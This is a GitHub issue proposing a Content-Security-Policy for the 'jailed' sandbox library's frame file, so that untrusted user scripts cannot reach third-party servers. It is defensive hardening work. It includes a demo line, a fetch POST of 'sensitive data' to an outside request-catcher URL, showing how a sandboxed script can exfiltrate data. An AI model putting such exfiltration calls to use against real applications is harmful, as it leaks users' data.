asvd / jailed

execute untrusted code with custom permissions
MIT License
1k stars 73 forks source link

Improve Jail Isolation via Content-Security-Policy #56

Open eric-hemasystems opened 2 years ago

eric-hemasystems commented 2 years ago

Would you be open to adding a Content-Security-Policy to the frame file?

My scenario is:

  1. A user writes a script that customizes the workflow of a form.
  2. These scripts can only do certain actions (functions that are exported into the sandbox).
  3. One of these actions will retrieve data from the form so decisions can be made based on the form data
  4. The user using the form is not necessarily the person who wrote the script. The script will be part of the configuration of the system mostly likely made by someone with elevated privileges (although not necessarily access to everything) while the script is executed when a normal user is using the application

My concern is if this elevated user has their credentials compromised the attacker could write a script that gathers all the data on the form and exfiltrates it to a 3rd party service. Data the compromised account may not normally have access to (but the regular users have access to).

I'm not sure to what extent this threat can be eliminated but it seems we can at least reduce the impact by telling the browser the script should not be able to contact 3rd party services via a content security policy.

I think the following policy should be fairly locked down:

// Default to allow nothing and just open up what we need
default-src 'none';

// Allows iframe to load worker via `blob:` URI
worker-src blob:;

// 'self' allows local scripts to be loaded (to get the JS files jailed needs)
// 'unsafe-eval' allows the jailed script to be evaled (in the jail of course)
script-src 'self' 'unsafe-eval'

This CSP needs to apply to the _frame.html file. Since this file is likely being served as static content modifying the HTTP header will vary depending on deployment environment. Therefore it seems best to add the CSP as a meta tag in the _frame.html file.

If this all sounds good I can create a PR that adds the following meta tag to the _frame.html file:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; worker-src blob:; script-src 'self' 'unsafe-eval'">

Without this meta tag if I run the following in the demo console my sensitive data is sent to the 3rd party server:

fetch('https://jailed.requestcatcher.com/test', { method: 'POST', body: 'sensitive data' })

With the CSP in place that fetch is denied since the connect policy is not provided and therefore uses the default-src which is set to none.

Before I created a PR I wanted to find out:

  1. Is providing a good CSP in scope for this project?
  2. Does the proposed CSP seem reasonable? I can imagine at some point in the future we might get someone requesting that their user-defined script be able to load fonts or something which the CSP would deny. But I suggest we wait to receive that feedback before opening up the CSP more or making it configurable.
  3. Are there other ways to exfiltrate data out provided to a user-defined script that this CSP does not cover?
manuel commented 2 years ago

@eric-hemasystems I've just done a related experiment: https://github.com/manuel/fully-isolated-web-workers